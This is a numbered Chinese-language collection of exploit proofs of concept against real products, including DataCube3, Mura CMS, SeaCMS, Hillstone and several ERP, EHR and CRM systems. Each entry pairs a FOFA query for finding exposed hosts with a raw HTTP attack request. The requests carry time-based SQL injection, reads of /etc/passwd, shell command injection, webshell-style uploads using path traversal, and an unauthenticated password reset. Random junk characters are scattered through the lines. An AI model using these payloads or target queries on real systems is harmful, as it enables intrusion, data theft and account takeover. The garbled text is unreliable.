7 X2 q; F% [  L- E* v$ d! C) R: D. y5 ~CVE-2024-31750
, |  t6 q! t' D% QF-logic DataCube3是一款用于光伏发电系统的紧凑型终端测量系统
3 a7 I& {) s0 n- h) n. ^7 n% sFOFA：title=="DataCube3"
POST /admin/pr_monitor/getting_index_data.php HTTP/1.1
Host: your-ip
! ?2 F9 H6 \( g$ x$ nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:124.0) Gecko/20100101 Firefox/124.0
, y  x: Q! H1 s4 R9 PAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
! C5 ?6 G" f: u+ h/ qAccept-Encoding: gzip, deflate
Connection: close
6 x+ M8 x4 ]( p- J0 M9 F0 A0 E: B; lContent-Type: application/x-www-form-urlencoded
2 Q) B2 @. |, E2 Y3 |: x, \
4 q, [7 T5 K" X5 A/ d2 c& jreq_id=1) AND 1113=LIKE(CHAR(65,66,67,68,69,70,71),UPPER(HEX(RANDOMBLOB(500000000/2)))) AND (1450=1450
2 G# q( Z+ S; H% J- o3 ~

187. Mura CMS processAsyncObject SQL注入
! Q" T( x- e  K0 K. C/ VCVE-2024-32640
1 O+ V% \9 Y% Z3 r, }FOFA："Mura CMS"
POST /index.cfm/_api/json/v1/default/?method=processAsyncObject HTTP/1.1
Host: your-ip
. H4 m- }3 p+ m3 e+ {% v' U8 \% LContent-Type: application/x-www-form-urlencoded


( _' u; G% H- a+ \object=displayregion&contenthistid=x%5c' AND (SELECT 3504 FROM (SELECT(SLEEP(5)))MQYa)-- Arrv&previewid=1


9 k" z3 S1 E8 _3 Z188. 叁体-佳会视频会议 attachment 任意文件读取
' E- B* a8 _% R/ r6 M5 f8 Oversion <= 3.9.7
FOFA：body="/system/get_rtc_user_defined_info?site_id"
* w% q: F; R- s9 X% [GET /attachment?file=/etc/passwd HTTP/1.1
# c5 s" [+ F: dHost: your-ip
$ ?0 s5 y. f# S, V' zUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
8 i3 M3 ^# ~$ zConnection: close


189. 蓝网科技临床浏览系统 deleteStudy SQL注入
FOFA：app="LANWON-临床浏览系统"
GET /xds/deleteStudy.php?documentUniqueId=1%27;WAITFOR%20DELAY%20%270:0:5%27-- HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
4 S! l' z, t5 HAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close


) h& q, O6 \8 w( e1 j. @190. 短视频矩阵营销系统 poihuoqu 任意文件读取
FOFA：title=="短视频矩阵营销系统"
POST /index.php/admin/Userinfo/poihuoqu HTTP/2
Host: your-ip
9 [0 z, q' s6 {3 s) uUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.54 Safari/537.36
; h# a: i% T( b+ v% I4 ~Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Content-Type: application/x-www-form-urlencoded
* I1 Y. E( R1 u+ JAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9

poi=file:///etc/passwd
8 X3 N. ]9 T* e5 D' T! C
1 D) m  m, `& d3 W; w
. t5 z. L6 R9 E- i: d& T  N191. 亿赛通电子文档安全管理系统 NavigationAjax SQL注入
7 S  E; A5 j% M2 E/ H' eFOFA：body="/CDGServer3/index.jsp"
POST /CDGServer3/js/../NavigationAjax HTTP/1.1
( V0 ]4 {* x1 VHost: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
' d5 Y1 T# }2 V' NContent-Type: application/x-www-form-urlencoded

; a  l+ [7 l: D& Lcommand=nav&id=1'waitfor delay '0:0:5'--+&name=&openId=
1 J, F7 u1 O/ c, f- ]2 l
% s" u  v; Y- D3 X! J% o2 X
6 W" T! D1 |% t192. 富通天下外贸ERP UploadEmailAttr 任意文件上传
" ^2 `: C! B$ ~8 VFOFA：title="用户登录_富通天下外贸ERP"
POST /JoinfApp/EMail/UploadEmailAttr?name=.ashx HTTP/1.1
4 w9 j' Q" L6 ]9 c/ G5 ]Host: your-ip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36(KHTML, like Gecko) Chrome/93.0.4577.63 Safari/537.36
) f% B* c/ e" lContent-Type: application/x-www-form-urlencoded
( |( F5 x9 `& j8 ~  G* L% M- A" Z

<% @ webhandler language="C#" class="AverageHandler" %>
& L" l6 o) o# \2 [using System;
using System.Web;
$ a: a9 Y0 B( U) w$ v4 Jpublic class AverageHandler : IHttpHandler
9 k: o9 V% }$ q4 w, ^& Y" H{
public bool IsReusable
# l7 i7 d' V7 k3 W3 J# K{ get { return true; } }
public void ProcessRequest(HttpContext ctx)
{
) N3 e( m: u# K# X. Zctx.Response.Write("test");
1 K7 {( O+ T$ Z6 _% S3 T}
0 _! ^- f3 L* o" k) W}
. |* ]/ h( V  ?9 o
8 E. e5 }9 r1 Q: b' ~5 b) i
193. 山石网科云鉴安全管理系统 setsystemtimeaction 命令执行
5 {# ^" W: N( ?3 \& e& YFOFA：body="山石云鉴主机安全管理系统"
GET /master/ajaxActions/getTokenAction.php HTTP/1.1
( ~; _: Z0 D. c& xHost:
0 u5 h% a* W# o& J* DCookie: PHPSESSID=2333333333333;
0 t% r2 n( G  d% U! NContent-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0
, [# o( Q% P4 P

9 v' w- q7 U6 a8 _1 q& uPOST /master/ajaxActions/setSystemTimeAction.php?token_csrf={{token}} HTTP/1.1
- R5 ~" h- h6 k$ K) |. l8 FHost:
User-Agent: Mozilla/5.0
' t- F7 ?! }" d: eAccept-Encoding: gzip, deflate
Accept: */*
8 J* Z" [+ p' K( c  G0 xConnection: close
8 u# G4 n5 _. z1 [$ S2 T; [Cookie: PHPSESSID=2333333333333;
( ~3 |7 R5 F  O$ @Content-Type: application/x-www-form-urlencoded
: _$ Q0 |5 S) J6 Z2 K1 HContent-Length: 84

+ t, G7 |6 n7 Q2 m8 @( Mparam=os.system('echo 23333333333456 > /opt/var/majorsec/installation/master/runtime/img/config')

/ U: V8 q" z. k1 c! q0 u! t
GET /master/img/config HTTP/1.1
Host:
( S3 I. S# b) @/ o, f& m; |User-Agent: Mozilla/5.0


194. 飞企互联-FE企业运营管理平台 uploadAttachmentServlet 任意文件上传
. ?" ?) u; c; c; `2 i1 lFOFA：app="FE-协作平台"访问 /servlet/uploadAttachmentServlet 有返回则漏洞存在

" H! j1 _  _' d* B/ W! Z# {+ d% Y2 [POST /servlet/uploadAttachmentServlet HTTP/1.1
3 H( b% p7 e$ @2 k, tHost: host
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
+ o) e: @$ e) NAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
; a) Q4 ~) c+ r9 |9 @Accept-Encoding: gzip, deflate
& {2 m; H2 v7 h7 [9 \. iConnection: close
5 F# `5 s* t. d: NContent-Type: multipart/form-data; boundary=----WebKitFormBoundaryKNt0t4vBe8cX9rZk
! |( }1 F( A+ b( P+ x$ _------WebKitFormBoundaryKNt0t4vBe8cX9rZk

Content-Disposition: form-data; name="uploadFile"; filename="../../../../../jboss/web/fe.war/hello.jsp"
Content-Type: text/plain
<% out.println("hello");%>
------WebKitFormBoundaryKNt0t4vBe8cX9rZk
4 q4 Q3 y7 n3 o4 Z: J, |( {0 GContent-Disposition: form-data; name="json"
{"iq":{"query":{"UpdateType":"mail"}}}
------WebKitFormBoundaryKNt0t4vBe8cX9rZk--


7 \6 d; ^! o5 q195. 飞鱼星上网行为管理系统 send_order.cgi命令执行
FOFA：title=="飞鱼星企业级智能上网行为管理系统
POST /send_order.cgi?parameter=operation HTTP/1.1
- e7 ?' G" n; T; {- S$ Z. NHost: 127.0.0.1
Pragma: no-cache
, [+ e, C. h) t2 Z: S8 qCache-Control: no-cache
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36
Accept: */*
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 68
8 s. f/ ~/ m) L4 u, P* R
{"opid":"777777777777777777","name":";uname -a;echo ","type":"rest"}

7 O5 d, K. u0 B  z
196. 河南省风速科技统一认证平台密码重置
0 S6 T% ]1 i: k8 \6 o5 D  fFOFA：body="/cas/themes/zbvc/js/jquery.min.js"
* P$ q) T) _, ^, o' F6 r" oPOST /cas/userCtl/resetPasswordBySuper HTTP/1.1
+ r* j, [6 @6 H9 c1 VUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/93.0.4577.63 Safari/537.36
3 h1 r  o! h1 S  }  bContent-Type: application/json;charset=UTF-8
/ o3 |7 V( j4 _X-Requested-With: XMLHttpRequest
# B& @4 N* n% V9 M0 z# V/ kHost:
. R# x: S8 ?$ j0 f) ~1 xAccept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2
Content-Length: 45
8 S3 i% F) c6 bConnection: close

% p" W& Z! ~4 H4 [+ c/ y* E{"xgh":"test","newPass":"test666","email":""}
" {5 O' o9 S# q1 e# W9 f4 a- W
; E- B7 M( o' W: w: O1 f3 F4 t7 H

197. 浙大恩特客户资源管理系统-Quotegask_editAction存在SQL注入
FOFA：app="浙大恩特客户资源管理系统"
; X) C0 N- H% q7 |3 r' JGET /entsoft/Quotegask_editAction.entweb;.js?goonumStr=1')+UNION+ALL+SELECT+111*111--+&method=goonumIsExist HTTP/1.1
( f9 E9 L" d2 m) n! D6 R' t( `; r9 CHost:
# q, c' \! u3 ZUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2656.18 Safari/537.36
8 \6 w7 D) w1 |Accept-Encoding: gzip, deflate
Connection: close

, Z2 ?6 C: ^) n, Q3 E

198.  阿里云盘 WebDAV 命令注入
) P( q* Y4 v: v& DCVE-2024-29640
3 ?0 X4 m+ P# c9 }' I; \3 ]GET /cgi-bin/luci/admin/services/aliyundrive-webdav/query?sid=%60%6c%73%20%2f%3e%2f%77%77%77%2f%61%61%61%2e%74%78%74%60%20 HTTP/1.1
% V1 E5 l- ^2 Y( l9 O' XCookie: sysauth=41273cb2cffef0bb5d0653592624cf64
) u9 Q, T  Q5 w6 o) ^8 ]Accept: */*
5 E4 c) H% D- kAccept-Encoding: gzip, deflate
, X! ~! w1 s  h( [! X9 H' qAccept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
. i( G3 ^6 {4 r& Z, Y, HConnection: close


; Y# H9 R. }! z199. cockpit系统assetsmanager_upload接口 文件上传
7 X7 N' w/ y1 M$ P$ i9 k2 ]  B8 n
1.执行poc进行csrf信息获取，并获取cookie，再上传访问得到结果：
' c* s7 i8 ^  y% _, m2 iGET /auth/login?to=/ HTTP/1.1
( ?; q. k; y- z% [* N) x  L
响应：200，返回值:csfr:"eyJ0eXAi0iJKV1QiLCJhbGci0iJIUsI1NiJ9.eyJjc2ZyIjoibG9naW4ifQ.6KvuRJo3-Dp2UouwGH9D8cmnXEL4NGNen9CX3ex86cw"

2.使用刚才上一步获取到的jwt获取cookie：
% {) _, A; j1 d" _
  |7 o* i) n* c, N8 l# ~8 WPOST /auth/check HTTP/1.1
/ A2 G1 D: M& @3 i9 N1 Z' l* M7 }' eContent-Type: application/json
5 s4 K# R) ^8 l/ ~$ E, @* l
( F. P2 Q0 X% s8 D3 b9 z6 G{"auth":{"user":"admin","password":"admin"},"csfr":"eyJ0eXAi0iJKV1QiLCJhbGci0iJIUsI1NiJ9.eyJjc2ZyIjoibG9naW4ifQ.6KvuRJo3-Dp2UouwGH9D8cmnXEL4NGNen9CX3ex86cw"}
) p4 g3 O9 F: Y2 i: Z' k
响应：200，返回值:
0 o8 C" c. [2 A# OSet-Cookie:mysession=95524f01e238bf51bb60d77ede3bea92: path=/
7 g- a. |6 p# E; o; m5 h) P9 X! xFofa：title="Authenticate Please!"
" S+ I" e5 ?6 V5 X9 rPOST /assetsmanager/upload HTTP/1.1
/ s- k5 z4 |+ L1 f! |Content-Type: multipart/form-data; boundary=---------------------------36D28FBc36bd6feE7Fb3
Cookie: mysession=95524f01e238bf51bb60d77ede3bea92

-----------------------------36D28FBc36bd6feE7Fb3
Content-Disposition: form-data; name="files[]"; filename="tttt.php"
  V$ T6 ?  x3 J' U0 C4 U3 m9 RContent-Type: text/php
3 Y; T: d) \% m9 E+ C8 {* Q% b
4 Q/ A6 ]7 q- n$ x. y5 R7 B<?php echo "tttt";unlink(__FILE__);?>
0 F+ A& g& N( p3 M  A/ G7 P7 E-----------------------------36D28FBc36bd6feE7Fb3
* p2 ]' v# ]3 @: ^  uContent-Disposition: form-data; name="folder"

8 T: ?- A5 R  j9 Z-----------------------------36D28FBc36bd6feE7Fb3--
: J1 m/ |7 }& q
0 I# j( R$ X  @* D% R5 Q. a
/storage/uploads/tttt.php

200. SeaCMS海洋影视管理系统dmku SQL注入
3 o2 ~5 F1 O8 C8 W; B, _FOFA：app="海洋CMS"
GET /js/player/dmplayer/dmku/?ac=del&id=(select(0)from(select(sleep(5)))v)&type=list HTTP/1.1
Cookie: PHPSESSID=hlfl5flck9q3ng1blehhv86s4s
5 M; b! d2 Y4 V" i5 j( P; ?0 \: cUpgrade-Insecure-Requests: 1
- c4 J. u1 B% t8 f3 H8 i) FCache-Control: max-age=0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
5 S& K" d1 n/ wAccept-Encoding: gzip, deflate
: w, U1 ^5 n9 tAccept-Language: zh-CN,zh;q=0.9

+ e& z8 \& I% d
201. 方正全媒体新闻采编系统 binary SQL注入
FOFA：body="/newsedit/newsedit/" || app="FOUNDER-全媒体采编系统"
- r1 a1 \, Y2 UPOST /newsedit/newsplan/task/binary.do HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
3 s: ]# o( L1 L+ X8 WAccept-Encoding: gzip, deflate
% G, |, t5 `# P& c8 V" GAccept-Language: zh-CN,zh;q=0.9
Connection: close
) R- J! M' f6 N( o
TableName=DOM_IMAGE+where+REFID%3D-1+union+select+%271%27%3B+WAITFOR+DELAY+%270%3A0%3A5%27%3Bselect+DOM_IMAGE+from+IMG_LARGE_PATH&FieldName=IMG_LARGE_PATH&KeyName=REFID&KeyID=1

. j: ]! K2 Y/ x: R1 X4 S4 [& d
202. 微擎系统 AccountEdit任意文件上传
FOFA：body="/Widgets/WidgetCollection/"
& g& Z6 Q$ L" |! u5 @0 Q  B' H获取__VIEWSTATE和__EVENTVALIDATION值
GET /User/AccountEdit.aspx HTTP/1.1
Host: 滑板人之家
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/531.36 (KHTML, like Gecko) Chrome/83.0.4103.112 Safari/537.31
Content-Length: 0

  j' O0 z6 U  ^* z/ l
替换__VIEWSTATE和__EVENTVALIDATION值
1 h- s5 ]4 K& SPOST /User/AccountEdit.aspx HTTP/1.1
. y# f* R# ~! ~& b7 \& L- pAccept-Encoding: gzip, deflate, br
2 H9 ^( ~* S; E8 T$ V" DContent-Type: multipart/form-data;boundary=---------------------------786435874t38587593865736587346567358735687
8 ]# h: Y/ |/ [+ k3 g
* ?, p7 y/ r* E2 F4 i# K-----------------------------786435874t38587593865736587346567358735687
Content-Disposition: form-data; name="__VIEWSTATE"

__VIEWSTATE
7 r; [3 _2 w- q  {9 C) W# L-----------------------------786435874t38587593865736587346567358735687
: p* [. U) {1 EContent-Disposition: form-data; name="__EVENTVALIDATION"

__EVENTVALIDATION
-----------------------------786435874t38587593865736587346567358735687
Content-Disposition: form-data; name="ctl00$MyContentPlaceHolder$ctl00$upload"; filename="1123.txt"
Content-Type: text/plain

6 L* P+ P  M2 bHello World!
-----------------------------786435874t38587593865736587346567358735687
" g1 I8 A" j7 G) q, c* Q/ |Content-Disposition: form-data; name="ctl00$MyContentPlaceHolder$ctl00$bttnUpload"
. l; H( _* _. h  h
$ ^) t1 s8 v8 B! ]上传图片
-----------------------------786435874t38587593865736587346567358735687
& P" [1 w# E: m) OContent-Disposition: form-data; name="ctl00$MyContentPlaceHolder$ctl00$txtLastName"
0 Q/ g3 @6 D: b3 \) L' x9 V8 e5 @

/ D" U" o8 j% z3 Q; u-----------------------------786435874t38587593865736587346567358735687
Content-Disposition: form-data; name="ctl00$MyContentPlaceHolder$ctl00$txtEmail"
$ q- `: O9 J% M& y8 B9 V, L
7 H$ {! h  a+ M7 O2 x" W9 a$ n
: y8 ?7 E1 W) ?5 v-----------------------------786435874t38587593865736587346567358735687--
$ F, H, x- m4 d2 y
  u8 Q$ P' _) n8 F+ V+ R
) C  O0 F$ ?7 A6 K( G& `8 L/_data/Uploads/1123.txt

203. 红海云EHR PtFjk 文件上传
FOFA：body="RedseaPlatform"
POST /RedseaPlatform/PtFjk.mob?method=upload HTTP/1.1
Host: x.x.x.x
) H, k5 V6 [4 ?$ }7 n8 k: o: p! GAccept-Encoding: gzip
+ |2 |+ X9 V2 t) B/ EUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
' {& N6 z) t: ?7 U/ P- _8 y3 T. MContent-Type: multipart/form-data; boundary=----WebKitFormBoundaryt7WbDl1tXogoZys4
Content-Length: 210

4 z. k- m# c6 p( e------WebKitFormBoundaryt7WbDl1tXogoZys4
$ |- h; Y: b2 v2 r; v- OContent-Disposition: form-data; name="fj_file"; filename="11.jsp"
Content-Type:image/jpeg
. f7 _- _; h  ^/ [+ I
$ Y  t  w" h  I2 o<% out.print("hello,eHR");%>
# k: j5 P5 J: q7 Y) i% b------WebKitFormBoundaryt7WbDl1tXogoZys4--
  |" l. D* \( a* A8 E$ x3 a

6 u+ i4 Q7 j* c0 S% q: x) H
- T! o5 ~9 O7 q) I% b


% E) q6 A% s7 K